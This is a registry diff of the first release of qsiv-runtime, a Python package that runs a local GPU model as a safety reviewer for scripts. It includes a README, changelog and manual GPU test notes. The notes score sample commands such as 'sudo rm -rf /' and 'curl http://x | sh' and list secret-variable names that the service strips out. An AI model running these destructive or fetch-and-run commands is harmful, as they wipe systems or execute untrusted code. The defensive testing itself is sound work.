qsiv-runtime 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (43) hide show
  1. qsiv_runtime-0.1.0/.gitignore +8 -0
  2. qsiv_runtime-0.1.0/CHANGELOG.md +19 -0
  3. qsiv_runtime-0.1.0/LICENSE +21 -0
  4. qsiv_runtime-0.1.0/PKG-INFO +123 -0
  5. qsiv_runtime-0.1.0/README.md +100 -0
  6. qsiv_runtime-0.1.0/THIRD_PARTY.md +26 -0
  7. qsiv_runtime-0.1.0/docs/manual-gpu-check.md +82 -0
  8. qsiv_runtime-0.1.0/pyproject.toml +74 -0
  9. qsiv_runtime-0.1.0/scripts/release_notes.py +33 -0
  10. qsiv_runtime-0.1.0/src/qsiv_runtime/__init__.py +20 -0
  11. qsiv_runtime-0.1.0/src/qsiv_runtime/__main__.py +8 -0
  12. qsiv_runtime-0.1.0/src/qsiv_runtime/_download.py +37 -0
  13. qsiv_runtime-0.1.0/src/qsiv_runtime/_launch.py +61 -0
  14. qsiv_runtime-0.1.0/src/qsiv_runtime/_pins.py +10 -0
  15. qsiv_runtime-0.1.0/src/qsiv_runtime/_ports.py +142 -0
  16. qsiv_runtime-0.1.0/src/qsiv_runtime/_preflight.py +152 -0
  17. qsiv_runtime-0.1.0/src/qsiv_runtime/_protocol.py +80 -0
  18. qsiv_runtime-0.1.0/src/qsiv_runtime/cli.py +82 -0
  19. qsiv_runtime-0.1.0/src/qsiv_runtime/client.py +308 -0
  20. qsiv_runtime-0.1.0/src/qsiv_runtime/data/qsiv-linux-py312.lock +71 -0
  21. qsiv_runtime-0.1.0/src/qsiv_runtime/doctor.py +93 -0
  22. qsiv_runtime-0.1.0/src/qsiv_runtime/errors.py +45 -0
  23. qsiv_runtime-0.1.0/src/qsiv_runtime/paths.py +105 -0
  24. qsiv_runtime-0.1.0/src/qsiv_runtime/py.typed +0 -0
  25. qsiv_runtime-0.1.0/src/qsiv_runtime/service.py +319 -0
  26. qsiv_runtime-0.1.0/src/qsiv_runtime/setup.py +145 -0
  27. qsiv_runtime-0.1.0/tests/__init__.py +0 -0
  28. qsiv_runtime-0.1.0/tests/conftest.py +48 -0
  29. qsiv_runtime-0.1.0/tests/fakes/__init__.py +0 -0
  30. qsiv_runtime-0.1.0/tests/fakes/fake_clock.py +16 -0
  31. qsiv_runtime-0.1.0/tests/fakes/fake_machine.py +33 -0
  32. qsiv_runtime-0.1.0/tests/fakes/fake_service.py +222 -0
  33. qsiv_runtime-0.1.0/tests/helpers.py +36 -0
  34. qsiv_runtime-0.1.0/tests/test_hardening.py +354 -0
  35. qsiv_runtime-0.1.0/tests/test_launch_env.py +167 -0
  36. qsiv_runtime-0.1.0/tests/test_lifecycle.py +295 -0
  37. qsiv_runtime-0.1.0/tests/test_packaging.py +101 -0
  38. qsiv_runtime-0.1.0/tests/test_paths.py +129 -0
  39. qsiv_runtime-0.1.0/tests/test_preflight.py +255 -0
  40. qsiv_runtime-0.1.0/tests/test_release_notes.py +39 -0
  41. qsiv_runtime-0.1.0/tests/test_service.py +224 -0
  42. qsiv_runtime-0.1.0/tests/test_setup_doctor.py +303 -0
  43. qsiv_runtime-0.1.0/tests/test_validation.py +147 -0
@@ -0,0 +1,8 @@
1
+ .venv/
2
+ dist/
3
+ __pycache__/
4
+ *.egg-info/
5
+ .pytest_cache/
6
+ .mypy_cache/
7
+ .ruff_cache/
8
+ release-notes.md
@@ -0,0 +1,19 @@
1
+ # Changelog
2
+
3
+ ## [0.1.0] - 2026-11-13
4
+
5
+ First release.
6
+
7
+ - `QSIVClient.decide(state, questions)`: one validated probability per question from a shared local QSIV service
8
+ (stdlib-only client, JSON lines over a private Unix socket, config handshake, protocol 1).
9
+ - `QSIVUnavailable` with ten causes: `no_gpu`, `not_installed`, `startup_failed`, `service_exited`,
10
+ `model_in_use`, `invalid_answer`, `unsafe_directory`, `bad_checksum`, `too_large`, `timeout`.
11
+ - `qsiv-runtime setup` and `qsiv-runtime doctor`; `python -m qsiv_runtime.service`.
12
+ - Reads an existing agemem install as a fallback.
13
+ - Input over QSIV's 65,536-token request limit (counted with the model's own renderer and tokenizer) is rejected
14
+ as `too_large` before inference; checked on a real GPU (see `docs/manual-gpu-check.md`).
15
+ - The service environment drops names containing `API_KEY`, `APIKEY`, `TOKEN`, `SECRET`, `PASSWORD`, `PASSWD`,
16
+ `CREDENTIAL`, `PRIVATE_KEY` or `ACCESS_KEY`, or with a whole segment `AUTH` (`SSH_AUTH_SOCK`; not `AUTHOR`). The caller's `PYTHONPATH` is not passed on.
17
+ - On an 8 GB GPU a state above about 49K tokens can run out of CUDA memory below the limit; the client reports it as
18
+ `startup_failed`. A very long script dilutes the QSIV signal (remote code 0.95 at ~300 tokens, 0.13 at ~47K), so
19
+ keep your own static checks.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Daniel Illescas Romero
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,123 @@
1
+ Metadata-Version: 2.5
2
+ Name: qsiv-runtime
3
+ Version: 0.1.0
4
+ Summary: Local QSIV decision model for your tools: one shared GPU service, a stdlib-only client, setup and doctor.
5
+ Project-URL: Repository, https://github.com/illescasDaniel/qsiv-runtime
6
+ Project-URL: Issues, https://github.com/illescasDaniel/qsiv-runtime/issues
7
+ Author-email: Daniel Illescas Romero <illescas.daniel@protonmail.com>
8
+ License-Expression: MIT
9
+ License-File: LICENSE
10
+ License-File: THIRD_PARTY.md
11
+ Classifier: Development Status :: 3 - Alpha
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: Operating System :: POSIX :: Linux
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Programming Language :: Python :: 3.10
16
+ Classifier: Programming Language :: Python :: 3.11
17
+ Classifier: Programming Language :: Python :: 3.12
18
+ Classifier: Programming Language :: Python :: 3.13
19
+ Classifier: Programming Language :: Python :: 3.14
20
+ Classifier: Typing :: Typed
21
+ Requires-Python: >=3.10
22
+ Description-Content-Type: text/markdown
23
+
24
+ # qsiv-runtime
25
+
26
+ A small local decision model ([QSIV](https://huggingface.co/djinn-san/QSIV)) that answers yes/no questions about a
27
+ piece of text with a probability each. This package runs it for you: one resident GPU service shared by every tool on
28
+ the machine, a stdlib-only client for your program, and `setup` / `doctor` commands. No key, no network at inference.
29
+
30
+ ## Requirements
31
+
32
+ - Linux x86_64
33
+ - An NVIDIA GPU with compute capability 8.9 or higher (FP8); the `reference` runtime needs 8.0 or higher
34
+ - [uv](https://docs.astral.sh/uv/) and Python 3.12 for the isolated GPU environment that `setup` creates
35
+ - Several GB of disk and network access for `setup` only (never at inference)
36
+ - The client itself needs only Python 3.10 or newer and the standard library
37
+
38
+ ## Install
39
+
40
+ ```bash
41
+ uv tool install qsiv-runtime # or: pip install qsiv-runtime
42
+ qsiv-runtime setup --dry-run # print what would be created and downloaded
43
+ qsiv-runtime setup # create the GPU environment, download the pinned weights, verify the checksum
44
+ qsiv-runtime doctor # one line per check; exit code 0 only when everything is ready
45
+ ```
46
+
47
+ `setup` is the only code that downloads anything. It refuses before any download on an unsupported machine, verifies
48
+ the pinned SHA-256 of the weights, and writes an install marker only when everything succeeded. Default locations are
49
+ `~/.local/share/qsiv-runtime/model` and `~/.local/share/qsiv-runtime/venv` (an existing agemem install under
50
+ `~/.local/share/agemem/` is used when the defaults do not exist).
51
+
52
+ ## Python API
53
+
54
+ ```python
55
+ from qsiv_runtime import QSIVClient, QSIVUnavailable
56
+
57
+ questions = [
58
+ "Does the script escalate privileges?",
59
+ "Does the script modify files outside its own directory?",
60
+ ]
61
+ try:
62
+ with QSIVClient() as client:
63
+ probabilities = client.decide('{"script": "rm -rf /var/lib/app"}', questions)
64
+ except QSIVUnavailable as exc:
65
+ # exc.message is user-readable; exc.diagnostic.cause is one of qsiv_runtime.Cause
66
+ print(exc.message, exc.diagnostic.hint)
67
+ else:
68
+ flagged = [q for q, p in zip(questions, probabilities) if p >= 0.5]
69
+ ```
70
+
71
+ `decide(state, questions)` returns one probability in [0, 1] per question (at most 8), in order. The client is lazy:
72
+ nothing happens until the first call, then it checks the machine, connects to the shared service and starts it if
73
+ absent. Every failure is a `QSIVUnavailable` (never a traceback) with a `diagnostic.cause`: `no_gpu`,
74
+ `not_installed`, `startup_failed`, `service_exited`, `model_in_use`, `invalid_answer`, `unsafe_directory`,
75
+ `bad_checksum`, `too_large`, `timeout`. Treat any of them as "not reviewed" (fail closed).
76
+
77
+ Timeouts: service startup 120 s, idle exit 300 s, one request 60 s. A service that exits mid-request is restarted
78
+ once; nothing else is retried.
79
+
80
+ Environment overrides: `QSIV_RUNTIME_MODEL_DIRECTORY`, `QSIV_RUNTIME_PYTHON`, `QSIV_RUNTIME_RUNTIME` (`fp8` or
81
+ `reference`), `QSIV_RUNTIME_SOCKET_DIRECTORY`, `QSIV_RUNTIME_IDLE_SECONDS`. Precedence: constructor arguments, then
82
+ environment, then the package defaults, then the legacy agemem location.
83
+
84
+ ## Privacy and trust
85
+
86
+ - The text you send goes only to a local process over a Unix socket in `/tmp/qsiv-runtime-<uid>` (mode 0700, owned by
87
+ you, never a symlink). Nothing is sent to a network service and inference never downloads.
88
+ - The service is started with Hugging Face offline mode set and without these environment variables
89
+ (case-insensitive): any name containing `API_KEY`, `APIKEY`, `TOKEN`, `SECRET`, `PASSWORD`, `PASSWD`,
90
+ `CREDENTIAL`, `PRIVATE_KEY` or `ACCESS_KEY`, or with a whole `_`-, `-`- or `.`-separated segment equal to `AUTH`
91
+ (`SSH_AUTH_SOCK`; `AUTHOR` stays). Everything else (`PATH`, `HOME`, ...) is passed on, except `PYTHONPATH`: the service gets only a directory holding a symlink to this package, never the caller's `PYTHONPATH`.
92
+ - The GPU environment is an ordinary virtualenv; it is not sandboxed. Inputs are never truncated. QSIV 1.0 takes at
93
+ most 65,536 tokens per request (`qsiv.constants.MAX_CONTEXT`: the state plus every templated question block,
94
+ counted with the model's own tokenizer); a longer request is rejected with `too_large` before inference. On a GPU
95
+ with little free memory a long request can fail earlier with `startup_failed` ("QSIV service failed", CUDA out of
96
+ memory in the service log): on an 8 GB laptop GPU a 49,143-token state answered and a 49,175-token one ran out of
97
+ memory (it depends on the free GPU memory). A decision-model signal can dilute for very long inputs (remote-code probability 0.95 at
98
+ ~300 tokens, 0.13 at ~47K), so keep your own static checks and never treat a safe answer as clearance. See [docs/manual-gpu-check.md](https://github.com/illescasDaniel/qsiv-runtime/blob/main/docs/manual-gpu-check.md).
99
+ - `runtime: reference` (`QSIV_RUNTIME_RUNTIME=reference`) relies on a model directory you place manually; `setup`
100
+ does not install it and its weights are not pinned or checksummed.
101
+ - The client validates every answer as a whole (a list of the right length of real numbers in [0, 1]; booleans,
102
+ strings and NaN are rejected). Callers should still treat the result as untrusted data.
103
+
104
+ ## Relation to agemem and aiscript
105
+
106
+ The service code is adapted from [agemem](https://github.com/illescasDaniel/agemem), which will later depend on this
107
+ package instead of its own copy; until then both share one GPU model by taking the same model lock.
108
+ [aiscript](https://github.com/illescasDaniel/aiscript) can use it as a local safety reviewer
109
+ (`reviewer_provider: qsiv`).
110
+
111
+ ## Development
112
+
113
+ ```bash
114
+ uv sync
115
+ uv run ruff check . && uv run ruff format --check . && uv run mypy src tests && uv run pytest -q
116
+ ```
117
+
118
+ Tests use fakes only (no GPU, no weights, no network). The live check on a real GPU is manual:
119
+ [docs/manual-gpu-check.md](https://github.com/illescasDaniel/qsiv-runtime/blob/main/docs/manual-gpu-check.md).
120
+
121
+ ## License
122
+
123
+ MIT. QSIV (Apache-2.0) is downloaded by `setup`, not bundled; see [THIRD_PARTY.md](https://github.com/illescasDaniel/qsiv-runtime/blob/main/THIRD_PARTY.md).
@@ -0,0 +1,100 @@
1
+ # qsiv-runtime
2
+
3
+ A small local decision model ([QSIV](https://huggingface.co/djinn-san/QSIV)) that answers yes/no questions about a
4
+ piece of text with a probability each. This package runs it for you: one resident GPU service shared by every tool on
5
+ the machine, a stdlib-only client for your program, and `setup` / `doctor` commands. No key, no network at inference.
6
+
7
+ ## Requirements
8
+
9
+ - Linux x86_64
10
+ - An NVIDIA GPU with compute capability 8.9 or higher (FP8); the `reference` runtime needs 8.0 or higher
11
+ - [uv](https://docs.astral.sh/uv/) and Python 3.12 for the isolated GPU environment that `setup` creates
12
+ - Several GB of disk and network access for `setup` only (never at inference)
13
+ - The client itself needs only Python 3.10 or newer and the standard library
14
+
15
+ ## Install
16
+
17
+ ```bash
18
+ uv tool install qsiv-runtime # or: pip install qsiv-runtime
19
+ qsiv-runtime setup --dry-run # print what would be created and downloaded
20
+ qsiv-runtime setup # create the GPU environment, download the pinned weights, verify the checksum
21
+ qsiv-runtime doctor # one line per check; exit code 0 only when everything is ready
22
+ ```
23
+
24
+ `setup` is the only code that downloads anything. It refuses before any download on an unsupported machine, verifies
25
+ the pinned SHA-256 of the weights, and writes an install marker only when everything succeeded. Default locations are
26
+ `~/.local/share/qsiv-runtime/model` and `~/.local/share/qsiv-runtime/venv` (an existing agemem install under
27
+ `~/.local/share/agemem/` is used when the defaults do not exist).
28
+
29
+ ## Python API
30
+
31
+ ```python
32
+ from qsiv_runtime import QSIVClient, QSIVUnavailable
33
+
34
+ questions = [
35
+ "Does the script escalate privileges?",
36
+ "Does the script modify files outside its own directory?",
37
+ ]
38
+ try:
39
+ with QSIVClient() as client:
40
+ probabilities = client.decide('{"script": "rm -rf /var/lib/app"}', questions)
41
+ except QSIVUnavailable as exc:
42
+ # exc.message is user-readable; exc.diagnostic.cause is one of qsiv_runtime.Cause
43
+ print(exc.message, exc.diagnostic.hint)
44
+ else:
45
+ flagged = [q for q, p in zip(questions, probabilities) if p >= 0.5]
46
+ ```
47
+
48
+ `decide(state, questions)` returns one probability in [0, 1] per question (at most 8), in order. The client is lazy:
49
+ nothing happens until the first call, then it checks the machine, connects to the shared service and starts it if
50
+ absent. Every failure is a `QSIVUnavailable` (never a traceback) with a `diagnostic.cause`: `no_gpu`,
51
+ `not_installed`, `startup_failed`, `service_exited`, `model_in_use`, `invalid_answer`, `unsafe_directory`,
52
+ `bad_checksum`, `too_large`, `timeout`. Treat any of them as "not reviewed" (fail closed).
53
+
54
+ Timeouts: service startup 120 s, idle exit 300 s, one request 60 s. A service that exits mid-request is restarted
55
+ once; nothing else is retried.
56
+
57
+ Environment overrides: `QSIV_RUNTIME_MODEL_DIRECTORY`, `QSIV_RUNTIME_PYTHON`, `QSIV_RUNTIME_RUNTIME` (`fp8` or
58
+ `reference`), `QSIV_RUNTIME_SOCKET_DIRECTORY`, `QSIV_RUNTIME_IDLE_SECONDS`. Precedence: constructor arguments, then
59
+ environment, then the package defaults, then the legacy agemem location.
60
+
61
+ ## Privacy and trust
62
+
63
+ - The text you send goes only to a local process over a Unix socket in `/tmp/qsiv-runtime-<uid>` (mode 0700, owned by
64
+ you, never a symlink). Nothing is sent to a network service and inference never downloads.
65
+ - The service is started with Hugging Face offline mode set and without these environment variables
66
+ (case-insensitive): any name containing `API_KEY`, `APIKEY`, `TOKEN`, `SECRET`, `PASSWORD`, `PASSWD`,
67
+ `CREDENTIAL`, `PRIVATE_KEY` or `ACCESS_KEY`, or with a whole `_`-, `-`- or `.`-separated segment equal to `AUTH`
68
+ (`SSH_AUTH_SOCK`; `AUTHOR` stays). Everything else (`PATH`, `HOME`, ...) is passed on, except `PYTHONPATH`: the service gets only a directory holding a symlink to this package, never the caller's `PYTHONPATH`.
69
+ - The GPU environment is an ordinary virtualenv; it is not sandboxed. Inputs are never truncated. QSIV 1.0 takes at
70
+ most 65,536 tokens per request (`qsiv.constants.MAX_CONTEXT`: the state plus every templated question block,
71
+ counted with the model's own tokenizer); a longer request is rejected with `too_large` before inference. On a GPU
72
+ with little free memory a long request can fail earlier with `startup_failed` ("QSIV service failed", CUDA out of
73
+ memory in the service log): on an 8 GB laptop GPU a 49,143-token state answered and a 49,175-token one ran out of
74
+ memory (it depends on the free GPU memory). A decision-model signal can dilute for very long inputs (remote-code probability 0.95 at
75
+ ~300 tokens, 0.13 at ~47K), so keep your own static checks and never treat a safe answer as clearance. See [docs/manual-gpu-check.md](https://github.com/illescasDaniel/qsiv-runtime/blob/main/docs/manual-gpu-check.md).
76
+ - `runtime: reference` (`QSIV_RUNTIME_RUNTIME=reference`) relies on a model directory you place manually; `setup`
77
+ does not install it and its weights are not pinned or checksummed.
78
+ - The client validates every answer as a whole (a list of the right length of real numbers in [0, 1]; booleans,
79
+ strings and NaN are rejected). Callers should still treat the result as untrusted data.
80
+
81
+ ## Relation to agemem and aiscript
82
+
83
+ The service code is adapted from [agemem](https://github.com/illescasDaniel/agemem), which will later depend on this
84
+ package instead of its own copy; until then both share one GPU model by taking the same model lock.
85
+ [aiscript](https://github.com/illescasDaniel/aiscript) can use it as a local safety reviewer
86
+ (`reviewer_provider: qsiv`).
87
+
88
+ ## Development
89
+
90
+ ```bash
91
+ uv sync
92
+ uv run ruff check . && uv run ruff format --check . && uv run mypy src tests && uv run pytest -q
93
+ ```
94
+
95
+ Tests use fakes only (no GPU, no weights, no network). The live check on a real GPU is manual:
96
+ [docs/manual-gpu-check.md](https://github.com/illescasDaniel/qsiv-runtime/blob/main/docs/manual-gpu-check.md).
97
+
98
+ ## License
99
+
100
+ MIT. QSIV (Apache-2.0) is downloaded by `setup`, not bundled; see [THIRD_PARTY.md](https://github.com/illescasDaniel/qsiv-runtime/blob/main/THIRD_PARTY.md).
@@ -0,0 +1,26 @@
1
+ # Third-party material
2
+
3
+ ## QSIV
4
+
5
+ [QSIV](https://huggingface.co/djinn-san/QSIV), copyright 2026 the QSIV authors, is the local decision runtime and
6
+ model this package drives. Its code and weights are not bundled in this package. `qsiv-runtime setup` fetches
7
+ revision `f1ee842daf758c0ab535cf7d281c85439d6e4b25`; the downloaded model directory retains its complete
8
+ Apache-2.0
9
+ [LICENSE](https://huggingface.co/djinn-san/QSIV/blob/f1ee842daf758c0ab535cf7d281c85439d6e4b25/LICENSE)
10
+ and [NOTICE](https://huggingface.co/djinn-san/QSIV/blob/f1ee842daf758c0ab535cf7d281c85439d6e4b25/NOTICE).
11
+
12
+ QSIV's NOTICE credits the Qwen team / Alibaba Cloud for Qwen3.5-0.8B-Base and its tokenizer, as well as the Gated
13
+ DeltaNet and flash-linear-attention work. Those notices and dependency licenses remain applicable. Setup changes
14
+ only the downloaded runtime's NumPy dependency pin to match the tested environment; it does not change QSIV
15
+ inference code or weights.
16
+
17
+ ## agemem
18
+
19
+ The service, setup and doctor code is adapted from [agemem](https://github.com/illescasDaniel/agemem) (MIT, same
20
+ author). The pinned GPU environment lock file `src/qsiv_runtime/data/qsiv-linux-py312.lock` is a trimmed copy of
21
+ agemem's.
22
+
23
+ ## Other material
24
+
25
+ Dependencies installed into the separate GPU environment (PyTorch, Transformers, ...) retain their own licenses;
26
+ the notices above do not relicense them.
@@ -0,0 +1,82 @@
1
+ # Manual GPU check (S29, not run by the test suite)
2
+
3
+ The automated tests use fakes only. These parts need a real machine (Linux x86_64, NVIDIA GPU with compute
4
+ capability 8.9 or higher); re-run this checklist when the lock, the pinned revision or the service changes:
5
+
6
+ - the trimmed `src/qsiv_runtime/data/qsiv-linux-py312.lock` (agemem-only packages removed) installs and runs
7
+ - the `PYTHONPATH` launch of `python -m qsiv_runtime.service` inside a venv that does not have `qsiv_runtime`
8
+ installed (including an existing agemem venv)
9
+ - the interim agemem `model.lock` (one model per GPU)
10
+ - how the real QSIV engine reports an over-long input (`too_large`) and its real input limit
11
+ - real `nvidia-smi` output parsing
12
+
13
+ ## Results, 2026-11-13 (RTX 4070 Laptop GPU, 8 GB, compute capability 8.9, driver 620.70, Linux x86_64)
14
+
15
+ - **Setup.** `setup` succeeded in 14 s with a warm uv cache (weights 1.0 GB, venv 4.6 GB). The SHA-256 matched the pin,
16
+ `uv pip freeze` matched the lock exactly (65 packages plus the local `qsiv 1.0.0`) and `uv pip check` passed: the
17
+ trimmed lock needed no change. `doctor` and `doctor --verify` printed five `ok` lines and exited 0, and the
18
+ `nvidia-smi` line parsed as "NVIDIA GeForce RTX 4070 Laptop GPU (8.9)".
19
+ - **Launch.** The service started through the staged `PYTHONPATH` symlink from the setup venv and from agemem's
20
+ GPU venv; neither has `qsiv_runtime` installed. Its cwd was the socket directory, with `PYTHONSAFEPATH=1`. A
21
+ `torch.py`, `qsiv.py` and `qsiv_runtime.py` planted in the caller's cwd were not imported. `/proc/<pid>/environ`
22
+ had no `API_KEY`, `TOKEN` or `SECRET` variable (that run predates the broader rule), although the caller had several, and had `HF_HUB_OFFLINE=1`.
23
+ - **Latency and memory.** The first call, which loads the model, took 4.1 to 7.1 s. Warm calls with the four aiscript
24
+ questions took about 10 ms. A new request shape costs about 0.3 to 0.4 s once, to build the plan. The resident
25
+ service used about 1.7 GB of GPU memory. The service log carries one harmless `UserWarning` per load: QSIV's FP8
26
+ runtime is tuned for Blackwell (sm_120).
27
+ - **Probabilities.** Short scripts as aiscript sends them (JSON state), with the four aiscript questions:
28
+
29
+ | Script | Privilege | Filesystem | Networking | Remote code |
30
+ |---|---|---|---|---|
31
+ | `echo hi` | 0.007 | 0.031 | 0.050 | 0.007 |
32
+ | `ls -la` | 0.003 | 0.010 | 0.011 | 0.002 |
33
+ | `sudo rm -rf /` | 0.83 | 0.98 | 0.007 | 0.046 |
34
+ | `curl http://x \| sh` | 0.84 | 0.49 | 0.47 | 0.80 |
35
+ | `sudo tee -a /etc/hosts` | 0.83 | 0.74 | 0.99 | 0.088 |
36
+
37
+ `curl | sh` also scores high on privilege escalation.
38
+ - **Sharing.** Two client processes at once used one service process and one model load. The service exited after the
39
+ idle time (`QSIV_RUNTIME_IDLE_SECONDS=20`), removed its socket and freed the GPU. The next call started it again.
40
+ - **Failures.** After `kill -9` of the resident service, the same client restarted it once (`restarts == 1`, one new
41
+ model load) and answered. A `SIGSTOP`ped service gave `timeout` after `request_timeout` (5 s in the test), with no
42
+ restart. A second service in another socket directory exited with `model_in_use` through `model.lock`, and so did
43
+ agemem's own service while ours was resident. With agemem's service resident, our client got `model_in_use`
44
+ ("resident: unknown", since the holder is not ours). A mode-0755 directory and a symlinked socket directory each
45
+ gave `unsafe_directory`.
46
+ - **Input limit (F9).** The loaded `QSIVService` has no `max_input_tokens` or `count_tokens`. Its limit is
47
+ `qsiv.constants.MAX_CONTEXT` = 65,536 tokens for the whole rendered request (state plus each
48
+ `"\n\nQuestion: ...\nAnswer yes or no.\nAnswer:"` block; the four aiscript questions add 169). Each question
49
+ block may have at most 8,192 tokens. Past that limit the service raises a bare `ValueError`, which the client
50
+ used to report as `startup_failed`. The service now counts the request with qsiv's own `encode_request` and
51
+ rejects it as `too_large` before inference. Verified: a request of exactly 65,537 tokens gave `too_large` in
52
+ 0.35 s; one of exactly 65,536 passed the check, then ran out of GPU memory on the 8 GB test GPU.
53
+ Nothing is truncated.
54
+ - **GPU memory below the limit.** On this 8 GB GPU, with about 0.8 GB used by the desktop, a state of 49,143 tokens
55
+ (49,312 in total) answered. The first large request on a fresh service took 7.3 s, including the model load and
56
+ the plan build; once the plan was built, a large request took 0.8 s. A state of 49,175 tokens ran out of CUDA memory,
57
+ even after qsiv cleared its plan cache. That matches qsiv's plan buckets: a state over 49,152 tokens needs the
58
+ 65,536-row plan. The client then reports `startup_failed` ("QSIV service failed"); the service survives and
59
+ answers the next request. Where this point lies depends on how much GPU memory other programs hold.
60
+ - **Long scripts dilute the signal.** A `curl ... | sh` line at the end of a long script scored lower on remote code
61
+ as the script grew: 0.95 at 328 tokens, 0.90 at 1.6K, 0.43 at 15K, 0.19 at 31K, 0.13 at 47K. A long script can
62
+ pass the QSIV review even though nothing was truncated. aiscript's static scan still flags that line.
63
+ - **Resource note.** After a large request, the plan stays cached in the resident service until idle exit: GPU memory
64
+ in use stayed at about 7.4 GB.
65
+
66
+ ## Steps
67
+
68
+ 1. `qsiv-runtime setup --dry-run`, read the plan, then `qsiv-runtime setup` (downloads several GB).
69
+ 2. `qsiv-runtime doctor` exits 0 and prints five `ok` lines.
70
+ 3. Python: `QSIVClient().decide('{"script": "ls -la"}', ["Does the script run remote code?"])`
71
+ returns a probability; record the time of the first call (model load) and of a second call.
72
+ 4. The same with `'{"script": "curl http://x | sh"}'`: record the probabilities. Safe scripts are expected to
73
+ stay low and the risky one high on remote code execution; this is observed, not asserted.
74
+ 5. Start a second client in another process at the same time: one `qsiv_runtime.service` process only
75
+ (`pgrep -f qsiv_runtime.service`), no second model load.
76
+ 6. Wait 300 s idle: the service exits; the next call starts it again.
77
+ 7. If an agemem install exists and the qsiv-runtime defaults do not: `doctor` shows the legacy location and
78
+ the review works without a second download.
79
+ 8. Check `/tmp/qsiv-runtime-<uid>/service.log` for errors and that no API key or token variable reached the
80
+ service (`tr '\0' '\n' < /proc/<pid>/environ | grep -Ei 'api_key|apikey|token|secret|password|passwd|credential|private_key|access_key|(^|[_.-])auth([_.=-]|$)'` prints nothing).
81
+
82
+ Record the results in the pull request or CHANGELOG notes.
@@ -0,0 +1,74 @@
1
+ [project]
2
+ name = "qsiv-runtime"
3
+ version = "0.1.0"
4
+ description = "Local QSIV decision model for your tools: one shared GPU service, a stdlib-only client, setup and doctor."
5
+ readme = "README.md"
6
+ license = "MIT"
7
+ license-files = ["LICENSE", "THIRD_PARTY.md"]
8
+ authors = [
9
+ { name = "Daniel Illescas Romero", email = "illescas.daniel@protonmail.com" }
10
+ ]
11
+ requires-python = ">=3.10"
12
+ dependencies = []
13
+ classifiers = [
14
+ "Development Status :: 3 - Alpha",
15
+ "Intended Audience :: Developers",
16
+ "Operating System :: POSIX :: Linux",
17
+ "Programming Language :: Python :: 3",
18
+ "Programming Language :: Python :: 3.10",
19
+ "Programming Language :: Python :: 3.11",
20
+ "Programming Language :: Python :: 3.12",
21
+ "Programming Language :: Python :: 3.13",
22
+ "Programming Language :: Python :: 3.14",
23
+ "Typing :: Typed",
24
+ ]
25
+
26
+ [project.urls]
27
+ Repository = "https://github.com/illescasDaniel/qsiv-runtime"
28
+ Issues = "https://github.com/illescasDaniel/qsiv-runtime/issues"
29
+
30
+ [project.scripts]
31
+ qsiv-runtime = "qsiv_runtime.cli:main"
32
+
33
+ [build-system]
34
+ requires = ["hatchling"]
35
+ build-backend = "hatchling.build"
36
+
37
+ [tool.hatch.build.targets.wheel]
38
+ packages = ["src/qsiv_runtime"]
39
+
40
+ [tool.hatch.build.targets.sdist]
41
+ include = [
42
+ "src",
43
+ "tests",
44
+ "docs",
45
+ "README.md",
46
+ "LICENSE",
47
+ "THIRD_PARTY.md",
48
+ "CHANGELOG.md",
49
+ "pyproject.toml",
50
+ "scripts/release_notes.py",
51
+ ]
52
+
53
+ [dependency-groups]
54
+ dev = [
55
+ "mypy>=1.13",
56
+ "pytest>=8",
57
+ "ruff>=0.8",
58
+ ]
59
+
60
+ [tool.ruff]
61
+ line-length = 100
62
+ target-version = "py310"
63
+
64
+ [tool.ruff.lint]
65
+ select = ["E", "F", "I", "UP", "B", "ANN"]
66
+
67
+ [tool.pytest.ini_options]
68
+ testpaths = ["tests"]
69
+
70
+ [tool.mypy]
71
+ python_version = "3.10"
72
+ strict = true
73
+ ignore_missing_imports = true
74
+ warn_unused_ignores = true
@@ -0,0 +1,33 @@
1
+ """Print the CHANGELOG.md section for a release tag (e.g. ``v1.0.0``)."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import re
6
+ import sys
7
+ from pathlib import Path
8
+
9
+
10
+ def section(changelog: str, version: str) -> str:
11
+ """Return the body of the ``## [version]`` section, or raise ``LookupError``."""
12
+ pattern = rf"^## \[?{re.escape(version)}\]?.*?\n(.*?)(?=^## |\Z)"
13
+ match = re.search(pattern, changelog, re.MULTILINE | re.DOTALL)
14
+ if match is None or not match.group(1).strip():
15
+ raise LookupError(f"No CHANGELOG.md entry for {version}")
16
+ return match.group(1).strip() + "\n"
17
+
18
+
19
+ def main(argv: list[str]) -> int:
20
+ if len(argv) != 2:
21
+ print("usage: release_notes.py TAG", file=sys.stderr)
22
+ return 2
23
+ version = argv[1].removeprefix("v")
24
+ try:
25
+ sys.stdout.write(section(Path("CHANGELOG.md").read_text(encoding="utf-8"), version))
26
+ except (LookupError, OSError) as exc:
27
+ print(f"release_notes: {exc}", file=sys.stderr)
28
+ return 1
29
+ return 0
30
+
31
+
32
+ if __name__ == "__main__":
33
+ sys.exit(main(sys.argv))
@@ -0,0 +1,20 @@
1
+ """Local QSIV decision model: shared GPU service, stdlib-only client, setup and doctor."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from .client import QSIVClient
6
+ from .doctor import doctor
7
